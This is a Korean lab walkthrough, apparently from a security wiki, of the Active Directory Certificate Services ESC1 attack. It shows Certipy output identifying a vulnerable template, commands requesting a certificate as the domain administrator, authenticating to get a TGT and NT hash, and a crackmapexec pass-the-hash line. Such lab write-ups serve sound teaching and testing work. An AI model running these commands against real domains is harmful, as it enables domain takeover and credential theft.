ESC1
개념
전제 조건
실습
ESC 1 정보 수집
공격
대응 방안



레퍼런스
Last updated



Last updated
Certificate Templates
0
Template Name : macUsers
Certificate Authorities : choi-DC01-CA
[ ... ]
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
[ ... ]
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Authorized Signatures Required : 0
Requires Manager Approval : False
[ ... ]
Permissions
Enrollment Permissions
Enrollment Rights : CHOI.LOCAL\Domain Admins
CHOI.LOCAL\Domain Users
CHOI.LOCAL\Enterprise Admins
[ ... ]
[!] Vulnerabilities
ESC1 : 'CHOI.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication$ certipy req -u <user> -p <pass> -ca <CA> -target <CA-FQDN> -template <취약한-양식-이름> -upn <타겟-유저>
예) $ certipy req -u [email protected] -p 'Password123!' -ca choi-DC01-CA -target dc01.choi.local -template macUsers -upn [email protected] -dns dc01.choi.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully requested certificate
[*] Got certificate with multiple identifications
UPN: '[email protected]'
DNS Host Name: 'dc01.choi.local'
[*] Saved certificate and private key to 'administrator_dc01.pfx'$ certipy auth -pfx <#1의 인증서 파일 이름> -dc-ip <DC-IP>
예) $ certipy auth -pfx administrator_dc01.pfx -dc-ip 192.168.40.150
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: '[email protected]'
[1] DNS Host Name: 'dc01.choi.local'
> 0
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe$ cme smb <DC-IP> -u Administrator -H <NThash> -d <domain>